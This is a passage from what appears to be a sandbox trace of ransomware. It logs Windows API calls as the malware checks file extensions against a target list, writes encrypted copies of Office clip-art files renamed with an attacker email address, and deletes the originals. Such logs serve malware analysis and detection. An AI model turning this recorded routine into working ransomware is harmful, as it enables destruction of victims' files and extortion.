(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0273.459] lstrlenW (lpString=".jpg") returned 4 [0273.459] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.459] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.459] lstrlenW (lpString="FD01191_.WMF") returned 12 [0273.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0273.530] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=3964) returned 1 [0273.530] CloseHandle (hObject=0x394) returned 1 [0273.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf")) returned 0x20 [0273.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.568] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.568] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0273.585] GetLastError () returned 0x0 [0273.585] ReadFile (in: hFile=0x38c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0xf7c, lpOverlapped=0x0) returned 1 [0273.587] WriteFile (in: hFile=0x39c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xf80, lpOverlapped=0x0) returned 1 [0273.587] ReadFile (in: hFile=0x38c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0273.588] WriteFile (in: hFile=0x39c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.588] SetEndOfFile (hFile=0x39c) returned 1 [0273.588] CloseHandle (hObject=0x39c) returned 1 [0273.588] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.588] SetEndOfFile (hFile=0x38c) returned 1 [0273.590] CloseHandle (hObject=0x38c) returned 1 [0273.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.590] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf")) returned 1 [0273.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0273.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0273.590] lstrlenW (lpString=".doc") returned 4 [0273.590] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.590] lstrlenW (lpString=".docx") returned 5 [0273.590] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.590] lstrlenW (lpString=".pdf") returned 4 [0273.590] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.590] lstrlenW (lpString=".xls") returned 4 [0273.590] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.591] lstrlenW (lpString=".xlsx") returned 5 [0273.591] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.591] lstrlenW (lpString=".ppt") returned 4 [0273.591] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0273.591] lstrlenW (lpString=".zip") returned 4 [0273.591] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.591] lstrlenW (lpString=".rar") returned 4 [0273.591] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.591] lstrlenW (lpString=".bz2") returned 4 [0273.591] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.591] lstrlenW (lpString=".7z") returned 3 [0273.591] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0273.591] lstrlenW (lpString=".dbf") returned 4 [0273.591] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0273.591] lstrlenW (lpString=".1cd") returned 4 [0273.591] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0273.591] lstrlenW (lpString=".jpg") returned 4 [0273.591] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0273.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0273.591] lstrlenW (lpString=".doc") returned 4 [0273.591] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.591] lstrlenW (lpString=".docx") returned 5 [0273.591] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.591] lstrlenW (lpString=".pdf") returned 4 [0273.591] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.591] lstrlenW (lpString=".xls") returned 4 [0273.591] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.592] lstrlenW (lpString=".xlsx") returned 5 [0273.592] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.592] lstrlenW (lpString=".ppt") returned 4 [0273.592] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0273.592] lstrlenW (lpString=".zip") returned 4 [0273.592] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.592] lstrlenW (lpString=".rar") returned 4 [0273.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.592] lstrlenW (lpString=".bz2") returned 4 [0273.592] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.592] lstrlenW (lpString=".7z") returned 3 [0273.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0273.592] lstrlenW (lpString=".dbf") returned 4 [0273.592] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0273.593] lstrlenW (lpString=".1cd") returned 4 [0273.593] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0273.593] lstrlenW (lpString=".jpg") returned 4 [0273.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.593] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.593] lstrlenW (lpString="FD01657_.WMF") returned 12 [0273.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.593] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=30414) returned 1 [0273.593] CloseHandle (hObject=0x38c) returned 1 [0273.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf")) returned 0x20 [0273.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.594] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.594] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0273.594] GetLastError () returned 0x0 [0273.594] ReadFile (in: hFile=0x38c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x76ce, lpOverlapped=0x0) returned 1 [0273.596] WriteFile (in: hFile=0x39c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x76d0, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0x76d0, lpOverlapped=0x0) returned 1 [0273.597] ReadFile (in: hFile=0x38c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0273.597] WriteFile (in: hFile=0x39c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.598] SetEndOfFile (hFile=0x39c) returned 1 [0273.598] CloseHandle (hObject=0x39c) returned 1 [0273.598] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.598] SetEndOfFile (hFile=0x38c) returned 1 [0273.600] CloseHandle (hObject=0x38c) returned 1 [0273.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.600] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf")) returned 1 [0273.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0273.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0273.601] lstrlenW (lpString=".doc") returned 4 [0273.601] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.601] lstrlenW (lpString=".docx") returned 5 [0273.601] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.601] lstrlenW (lpString=".pdf") returned 4 [0273.601] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.601] lstrlenW (lpString=".xls") returned 4 [0273.601] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.601] lstrlenW (lpString=".xlsx") returned 5 [0273.601] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.601] lstrlenW (lpString=".ppt") returned 4 [0273.601] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0273.601] lstrlenW (lpString=".zip") returned 4 [0273.601] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.601] lstrlenW (lpString=".rar") returned 4 [0273.601] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.601] lstrlenW (lpString=".bz2") returned 4 [0273.601] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.601] lstrlenW (lpString=".7z") returned 3 [0273.601] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0273.601] lstrlenW (lpString=".dbf") returned 4 [0273.601] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0273.601] lstrlenW (lpString=".1cd") returned 4 [0273.601] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0273.601] lstrlenW (lpString=".jpg") returned 4 [0273.601] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0273.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0273.601] lstrlenW (lpString=".doc") returned 4 [0273.602] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.602] lstrlenW (lpString=".docx") returned 5 [0273.602] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.602] lstrlenW (lpString=".pdf") returned 4 [0273.602] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.602] lstrlenW (lpString=".xls") returned 4 [0273.602] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.602] lstrlenW (lpString=".xlsx") returned 5 [0273.602] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.602] lstrlenW (lpString=".ppt") returned 4 [0273.602] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0273.602] lstrlenW (lpString=".zip") returned 4 [0273.602] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.602] lstrlenW (lpString=".rar") returned 4 [0273.602] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.602] lstrlenW (lpString=".bz2") returned 4 [0273.602] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.602] lstrlenW (lpString=".7z") returned 3 [0273.602] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0273.603] lstrlenW (lpString=".dbf") returned 4 [0273.603] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0273.603] lstrlenW (lpString=".1cd") returned 4 [0273.603] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0273.603] lstrlenW (lpString=".jpg") returned 4 [0273.603] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.603] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.603] lstrlenW (lpString="FD01658_.WMF") returned 12 [0273.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.604] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=17924) returned 1 [0273.604] CloseHandle (hObject=0x38c) returned 1 [0273.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf")) returned 0x20 [0273.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.604] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.604] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0273.605] GetLastError () returned 0x0 [0273.605] ReadFile (in: hFile=0x38c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x4604, lpOverlapped=0x0) returned 1 [0273.607] WriteFile (in: hFile=0x39c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x4610, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0x4610, lpOverlapped=0x0) returned 1 [0273.608] ReadFile (in: hFile=0x38c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0273.608] WriteFile (in: hFile=0x39c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.608] SetEndOfFile (hFile=0x39c) returned 1 [0273.608] CloseHandle (hObject=0x39c) returned 1 [0273.608] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.608] SetEndOfFile (hFile=0x38c) returned 1 [0273.613] CloseHandle (hObject=0x38c) returned 1 [0273.613] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.613] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf")) returned 1 [0273.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0273.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0273.613] lstrlenW (lpString=".doc") returned 4 [0273.613] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.613] lstrlenW (lpString=".docx") returned 5 [0273.614] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.614] lstrlenW (lpString=".pdf") returned 4 [0273.614] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.614] lstrlenW (lpString=".xls") returned 4 [0273.614] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.614] lstrlenW (lpString=".xlsx") returned 5 [0273.614] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.614] lstrlenW (lpString=".ppt") returned 4 [0273.614] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0273.614] lstrlenW (lpString=".zip") returned 4 [0273.614] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.614] lstrlenW (lpString=".rar") returned 4 [0273.614] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.614] lstrlenW (lpString=".bz2") returned 4 [0273.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.614] lstrlenW (lpString=".7z") returned 3 [0273.614] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0273.614] lstrlenW (lpString=".dbf") returned 4 [0273.614] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0273.614] lstrlenW (lpString=".1cd") returned 4 [0273.614] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0273.614] lstrlenW (lpString=".jpg") returned 4 [0273.614] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0273.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0273.614] lstrlenW (lpString=".doc") returned 4 [0273.614] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.614] lstrlenW (lpString=".docx") returned 5 [0273.614] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.615] lstrlenW (lpString=".pdf") returned 4 [0273.615] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.615] lstrlenW (lpString=".xls") returned 4 [0273.615] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.615] lstrlenW (lpString=".xlsx") returned 5 [0273.615] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.615] lstrlenW (lpString=".ppt") returned 4 [0273.615] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0273.615] lstrlenW (lpString=".zip") returned 4 [0273.615] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.615] lstrlenW (lpString=".rar") returned 4 [0273.615] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.615] lstrlenW (lpString=".bz2") returned 4 [0273.615] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.615] lstrlenW (lpString=".7z") returned 3 [0273.615] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0273.615] lstrlenW (lpString=".dbf") returned 4 [0273.615] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0273.615] lstrlenW (lpString=".1cd") returned 4 [0273.615] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0273.615] lstrlenW (lpString=".jpg") returned 4 [0273.615] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.615] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.615] lstrlenW (lpString="FD01659_.WMF") returned 12 [0273.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.617] 